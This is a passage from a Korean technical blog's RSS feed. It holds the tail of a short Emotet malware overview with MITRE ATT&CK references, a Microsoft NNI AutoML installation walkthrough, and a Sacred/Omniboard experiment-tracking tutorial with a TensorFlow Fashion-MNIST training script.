&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;code&gt;Emotet&lt;/code&gt; 키워드로 검색 후 살펴보기&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/software/S0367/&quot;&gt;Emotet&lt;/a&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ID: S0367&lt;/li&gt;
&lt;li&gt;TrikBot, IceID 같은 멀웨어의 다운로더로 사용되는 멀웨어, 2014년 6월 처음 등장, 주로 은행을 타겟&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Infection Chain(TREND MICRO Exploring Emotet'sActivities 참조)&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;474&quot; data-origin-height=&quot;151&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bXILKa/btrfxPKdGm0/8cDaSp7C6QxUkzdrBXdZ70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bXILKa/btrfxPKdGm0/8cDaSp7C6QxUkzdrBXdZ70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bXILKa/btrfxPKdGm0/8cDaSp7C6QxUkzdrBXdZ70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbXILKa%2FbtrfxPKdGm0%2F8cDaSp7C6QxUkzdrBXdZ70%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;474&quot; data-origin-height=&quot;151&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;활용되는 기술들&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실행 및 분석으로는 Execution 카테고리의 기술만 살펴 볼 수 있음&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;640&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2t4Zs/btrfFF8iPFF/d1uWWKetkV6V34q0uBcna0/tfile.svg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2t4Zs/btrfFF8iPFF/d1uWWKetkV6V34q0uBcna0/tfile.svg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2t4Zs/btrfFF8iPFF/d1uWWKetkV6V34q0uBcna0/tfile.svg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2t4Zs%2FbtrfFF8iPFF%2Fd1uWWKetkV6V34q0uBcna0%2Ftfile.svg&quot; width=&quot;100%&quot; data-origin-width=&quot;828&quot; data-origin-height=&quot;640&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>보안/Analysis</category>
      <category>emotet</category>
      <category>Malware Analysis</category>
      <category>Mitre ATT&amp;amp;CK</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/242</guid>
      <comments>https://eunguru.tistory.com/242#entry242comment</comments>
      <pubDate>Wed, 22 Sep 2021 18:54:14 +0900</pubDate>
    </item>
    <item>
      <title>AutoML 도구 Microsoft NNI</title>
      <link>https://eunguru.tistory.com/241</link>
      <description>&lt;h1&gt;Microsoft NNi&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;NNI(Neural Network Intelligence)은 아래의 기능 들의 자동화를 도와주는 강력한 도구
&lt;ul&gt;
&lt;li&gt;Feature Engineering&lt;/li&gt;
&lt;li&gt;Neural Architecture Search&lt;/li&gt;
&lt;li&gt;Hyperparameter Tuning&lt;/li&gt;
&lt;li&gt;Model Comperssion&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;AutoML(Automated Machine Learning)을 실험들을 관리
&lt;ul&gt;
&lt;li&gt;로컬머신, 원격서버, OpenPAI, Kubeflow, K8S, 클라우드 같은 다른 학습 환경에서 최적의 신경망 구조, 하이퍼파라미터들을 찾기 위해 알고리즘을 튜닝&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;NNI 기능 요약&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;학습 실험들을 관리하기 위해 Commnd Line과 Web UI 모두 제공&lt;/li&gt;
&lt;li&gt;확장 가능한 API를 사용하면 AutoML 알고리즘과 학습 서비스를 커스터마이징 할 수 있음&lt;/li&gt;
&lt;li&gt;새로운 사용자를 위해 최신 AutoML 알고리즘과 인기있는 학습 플랫폼을 제공&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://github.com/microsoft/nni/raw/master/docs/img/overview.svg?sanitize=true&quot; alt=&quot;https://github.com/microsoft/nni/raw/master/docs/img/overview.svg?sanitize=true&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;NNI의 아키텍쳐&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://user-images.githubusercontent.com/23273522/51816536-ed055580-2301-11e9-8ad8-605a79ee1b9a.png&quot; alt=&quot;https://user-images.githubusercontent.com/23273522/51816536-ed055580-2301-11e9-8ad8-605a79ee1b9a.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;주요 컨셉
&lt;ul&gt;
&lt;li&gt;실험(Experiment): 모델의 최적의 하이퍼파라미터를 찾는 것, 최적의 신경망을 찾는 것&lt;/li&gt;
&lt;li&gt;검색공간(Search Space): 모델 튜닝을 할 수 있는 영역(각 하이퍼파라미터의 변수 범위)&lt;/li&gt;
&lt;li&gt;구성(Configuration): 검색 공간의 인스턴스(각 하이퍼파라미터가 갖는 특정 값)&lt;/li&gt;
&lt;li&gt;트라이얼(Trial): 새로운 구성(하이퍼파라미터를 특정 신경망 구조를 설정)을 적용하는 개별적인 시도, 트라이얼 코드는 실행가능 해야 함&lt;/li&gt;
&lt;li&gt;튜너(Tuner): 다음 시도를 위한 새로운 구성을 생성하는 AutoML알고리즘, 다음 트라이얼은 이 구성과 함께 실행됨&lt;/li&gt;
&lt;li&gt;평가자(Assesor): 트라이얼의 중간 결과(주기적으로 테스트 데이터 셋의 accuracy를 평가)를 분석하여 이 트라이얼이 조기 종료되어야 하는지 아닌지 알려줌&lt;/li&gt;
&lt;li&gt;학습플랫폼(Training Plaform): 트라이얼을 실행하는 환경, 실험들의 구성에 의존적&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;실험의 실행
&lt;ul&gt;
&lt;li&gt;튜너는 검색공간과 생성된 구성들을 수신&lt;/li&gt;
&lt;li&gt;구성은 학습 플랫폼에 제출, 추후 행위들은 튜너에 보고됨&lt;/li&gt;
&lt;li&gt;새로운 구성을 다시 생성하고 제출&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;실험의 과정
&lt;ul&gt;
&lt;li&gt;Step 1: 검색공간의 정의&lt;/li&gt;
&lt;li&gt;Step 2: 모델 코드 업데이트&lt;/li&gt;
&lt;li&gt;Step 3: 실험의 정의&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;설치(테스트 당시 최신 버전 v1.4)&lt;/h3&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;python -m pip install --upgrade nni&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;설치 검증&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Tensorflow 2.x 예제 이용&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;소스코드를 clone하여 예제 다운로드&lt;/p&gt;
&lt;pre class=&quot;crmsh&quot;&gt;&lt;code&gt;  git clone -b v1.4 https://github.com/Microsoft/nni.git&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;MNIST 에제를 실행&lt;/p&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;  nnictl create --config nni/examples/trials/mnist-tfv2/config.yml&lt;/code&gt;&lt;/pre&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;602&quot; data-filename=&quot;blob&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c080C2/btqClxPt3Xv/mz73sf3T5hyxMNK1Ty8qrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c080C2/btqClxPt3Xv/mz73sf3T5hyxMNK1Ty8qrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c080C2/btqClxPt3Xv/mz73sf3T5hyxMNK1Ty8qrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc080C2%2FbtqClxPt3Xv%2Fmz73sf3T5hyxMNK1Ty8qrK%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;640&quot; data-origin-height=&quot;602&quot; data-filename=&quot;blob&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;INFO: Successfully Started experiment!&lt;/code&gt; 메시지가 커맨드라인 창에 출력되면 성공적으로 시작된 것&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;표시된 Web UI URL을 웹 브라우저에 입력하여 접속&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;실행결과&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;설정대로 실행됨(자세한 내용은 차후에 기록할 예정), 총 10번의 트라이얼 수행, 49분 소요&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Web UI &lt;code&gt;Overview&lt;/code&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d6kJ2k/btqClxve2ik/DRl8ezKQXZ4rkZjLVyuzY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d6kJ2k/btqClxve2ik/DRl8ezKQXZ4rkZjLVyuzY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d6kJ2k/btqClxve2ik/DRl8ezKQXZ4rkZjLVyuzY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd6kJ2k%2FbtqClxve2ik%2FDRl8ezKQXZ4rkZjLVyuzY1%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Web UI &lt;code&gt;Trials detail &amp;rarr; Hyper-Parameter&lt;/code&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0l9qZ/btqCpQ8sm1z/KHWhRdTH3IFIkkU0QbInXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0l9qZ/btqCpQ8sm1z/KHWhRdTH3IFIkkU0QbInXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0l9qZ/btqCpQ8sm1z/KHWhRdTH3IFIkkU0QbInXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0l9qZ%2FbtqCpQ8sm1z%2FKHWhRdTH3IFIkkU0QbInXK%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;실행 후 체크포인트 등 결과파일 생성(디렉토리만 출력)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;320&quot; data-origin-height=&quot;586&quot; data-filename=&quot;blob&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ettYj5/btqClxBWx1B/YktTBoQqWIJyd2Sk7Waus0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ettYj5/btqClxBWx1B/YktTBoQqWIJyd2Sk7Waus0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ettYj5/btqClxBWx1B/YktTBoQqWIJyd2Sk7Waus0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FettYj5%2FbtqClxBWx1B%2FYktTBoQqWIJyd2Sk7Waus0%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;320&quot; data-origin-height=&quot;586&quot; data-filename=&quot;blob&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;참고문서&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nni.readthedocs.io/en/latest/index.html&quot;&gt;NNI 공식문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/microsoft/nni&quot;&gt;Microsoft NNI Github&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>AI&amp;amp;BigData/MLOps</category>
      <category>AutoML</category>
      <category>Hyperparameter Tuning 도구</category>
      <category>Microsoft NNI</category>
      <category>Neural Network Intelligence</category>
      <category>NNI</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/241</guid>
      <comments>https://eunguru.tistory.com/241#entry241comment</comments>
      <pubDate>Mon, 2 Mar 2020 19:10:30 +0900</pubDate>
    </item>
    <item>
      <title>머신러닝 실험관리 도구 Sacred를 위한 웹 대시보드 Omniboard</title>
      <link>https://eunguru.tistory.com/240</link>
      <description>&lt;h1&gt;Sacred + Omniboard&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;Sacred 기본 소개: &lt;a href=&quot;https://eunguru.tistory.com/239&quot;&gt;2020/02/21 - [AI&amp;amp;BigData/MLOps] - Sacred - 머신러닝 실험관리 도구&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Omniboard는 Sacred를 위한 웹 대시보드&lt;/li&gt;
&lt;li&gt;MongoDB를 연결해 Sacred의 실험 들과 각 실험들의 메트릭, 로그 들의 의 가시화를 도와줌&lt;/li&gt;
&lt;li&gt;React, Node.js, Express, Bootstrap으로 작성됨&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;특징들&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;실험의 관리
&lt;ul&gt;
&lt;li&gt;모든 실험들이 tablular format으로 리스트 됨(정렬, 리오더, 리사이징 가능한 컬럼)&lt;/li&gt;
&lt;li&gt;가장 마지막 실험의 설정을 자동으로 불러올 수 있음&lt;/li&gt;
&lt;li&gt;선택한 컬럼의 show/hide 가능&lt;/li&gt;
&lt;li&gt;메트릭 컬럼 추가 가능(예: minimum validation loss, maximum training accuracy 등)&lt;/li&gt;
&lt;li&gt;커스텀 컬럼 추가 가능&lt;/li&gt;
&lt;li&gt;각 실험에 태그나 노트를 추가 가능&lt;/li&gt;
&lt;li&gt;모든 컬럼을 정렬, 필터링 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;실험의 드릴다운
&lt;ul&gt;
&lt;li&gt;메트릭 그래프를 보여줌&lt;/li&gt;
&lt;li&gt;콘솔 결과를 보여줌&lt;/li&gt;
&lt;li&gt;모든 런타임 라이브러리&lt;/li&gt;
&lt;li&gt;소스코드를 보거나 다운로드&lt;/li&gt;
&lt;li&gt;아티팩트(실행에 의해 생성된 파일)를 보거나 다운로드&lt;/li&gt;
&lt;li&gt;호스트의 하드웨어 스펙(예: OS 버전, CPU/GPU 디바이스 정보, 드라이버 버전 등)을 보여줌&lt;/li&gt;
&lt;li&gt;git 해쉬, 버전 컨트롤 정보를 보여줌&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;실험의 비교
&lt;ul&gt;
&lt;li&gt;다중의 실험의 메트릭들을 하나의 그래프에서 비교&lt;/li&gt;
&lt;li&gt;두개의 실험들의 캡쳐된 결과를 비교&lt;/li&gt;
&lt;li&gt;두개의 실험들의 소스파일을 비교&lt;/li&gt;
&lt;li&gt;두개의 실험의 설정값을 비교&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;테스트&lt;/h2&gt;
&lt;h3&gt;소스코드&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;tensorflow 2.0 튜토리얼 fashion mnist classification 소스코드를 기반으로 변경&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/eunguru/Sacred_Omniboard/blob/master/fashion_mnist_sacred.py&quot;&gt;소스코드 github주소&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;python&quot;&gt;&lt;code&gt;  import os
  import numpy as np

  import tensorflow as tf
  from tensorflow import keras

  from sacred import Experiment
  from sacred.observers import MongoObserver

  ex = Experiment('fashion_mnist')
  ex.observers.append(MongoObserver.create(url='localhost:27017',
                                          db_name='sacred_omniboard'))

  @ex.config
  def get_config():
      num_epochs = 5
      hidden_size = 128
      num_classes = 10

  @ex.capture
  def set_model_path(seed):
      model_dir = os.getcwd()
      model_filename = 'model/my_model_{}.h5'.format(seed)
      model_path = os.path.join(model_dir, model_filename)

      return model_path

  def write_logs(ex, logs):
      #print(logs)
      ex.log_scalar('loss', logs.get('loss'))
      ex.log_scalar('val_loss', logs.get('val_loss'))
      ex.log_scalar('accuracy', logs.get('accuracy'))
      ex.log_scalar('val_accuracy', logs.get('val_accuracy'))

  @ex.capture
  def create_model(hidden_size, num_classes):
      # create model
      model = keras.Sequential([
                                  keras.layers.Flatten(input_shape = (28, 28)),
                                  keras.layers.Dense(hidden_size, activation='relu'),
                                  keras.layers.Dense(num_classes, activation='softmax')
      ])

      model.compile(optimizer='adam',
                  loss='sparse_categorical_crossentropy',
                  metrics=['accuracy'])

      model.summary()

      return model

  @ex.capture
  def train(num_epochs):
      print(tf.__version__)

      # data load
      fashion_mnist = keras.datasets.fashion_mnist
      (train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()

      '''
      print(&quot;type(train_images): {}&quot;.format(type(train_images)))
      print(&quot;train_images.shape: {}, train_labels.shape: {}&quot;.format(train_images.shape, train_labels.shape))
      print(&quot;train_images.shape: {}, train_labels.shape: {}&quot;.format(test_images.shape, test_images.shape))
      '''

      class_names = ['T-shirts/top', 'Trouser', 'Pullover', 'Dress', 'Coat',
                      'Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot']

      # data preprocessing
      train_images = train_images / 255.0
      test_images = test_images / 255.0    

      # create model
      model = create_model()

      # callback
      cp_callback = keras.callbacks.LambdaCallback(
          on_epoch_end = lambda epoch, logs: write_logs(ex, logs)
      )

      # training        
      model.fit(train_images, train_labels, epochs=num_epochs,
                  validation_data = (test_images, test_labels),
                  callbacks = [cp_callback])

      # model save
      model_path = set_model_path()
      model.save(model_path)

      # add artifact: content_type - mimetype
      ex.add_artifact(filename=model_path, content_type='application/x-hdf5')

      # evaluate
      test_loss, test_acc = model.evaluate(test_images, test_labels, verbose=2)
      print(&quot;test_loss: {}, test acc: {}&quot;.format(test_loss, test_acc))

  @ex.automain
  def run():
      train()&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;실행하기&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;omniboard 설치&lt;/p&gt;
&lt;pre class=&quot;cmake&quot;&gt;&lt;code&gt;  npm install -g omniboard&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;코드 작성 후 테스트 스텝&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;MongoDB 서비스 시작&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;코드를 작성(sacred mongodb observer를 사용하여 데이터를 저장)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;코드를 실행&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Omniboard 시작&lt;/p&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt; omniboard -m hostname:port:database&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;웹 브라우저에서 &lt;code&gt;http://localhost:9000&lt;/code&gt; 주소로 접속&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;스크린샷&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;omniboard list view&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sr6PR/btqClxn2u7h/Ao22jzkT5I87IDShTPmHKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sr6PR/btqClxn2u7h/Ao22jzkT5I87IDShTPmHKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sr6PR/btqClxn2u7h/Ao22jzkT5I87IDShTPmHKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fsr6PR%2FbtqClxn2u7h%2FAo22jzkT5I87IDShTPmHKK%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Metrics Plot&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWW3xC/btqClym3cvE/7i1L63xSWh7oKWKidxXVDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWW3xC/btqClym3cvE/7i1L63xSWh7oKWKidxXVDk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWW3xC/btqClym3cvE/7i1L63xSWh7oKWKidxXVDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWW3xC%2FbtqClym3cvE%2F7i1L63xSWh7oKWKidxXVDk%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Captured Out&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/YbFkZ/btqCkQ9iuGT/PcFLfcpr7OAkp4OZ4O4PNk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/YbFkZ/btqCkQ9iuGT/PcFLfcpr7OAkp4OZ4O4PNk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/YbFkZ/btqCkQ9iuGT/PcFLfcpr7OAkp4OZ4O4PNk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FYbFkZ%2FbtqCkQ9iuGT%2FPcFLfcpr7OAkp4OZ4O4PNk%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Experiment Details&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t9Wm2/btqCn1I0T8r/AP6Y6U5NJLknyzZcn3K4Y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t9Wm2/btqCn1I0T8r/AP6Y6U5NJLknyzZcn3K4Y0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t9Wm2/btqCn1I0T8r/AP6Y6U5NJLknyzZcn3K4Y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft9Wm2%2FbtqCn1I0T8r%2FAP6Y6U5NJLknyzZcn3K4Y0%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Host Info&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/laUMQ/btqCpRsjRX8/zqYntwQGEmr9Dv6sEKt3y1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/laUMQ/btqCpRsjRX8/zqYntwQGEmr9Dv6sEKt3y1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/laUMQ/btqCpRsjRX8/zqYntwQGEmr9Dv6sEKt3y1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlaUMQ%2FbtqCpRsjRX8%2FzqYntwQGEmr9Dv6sEKt3y1%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
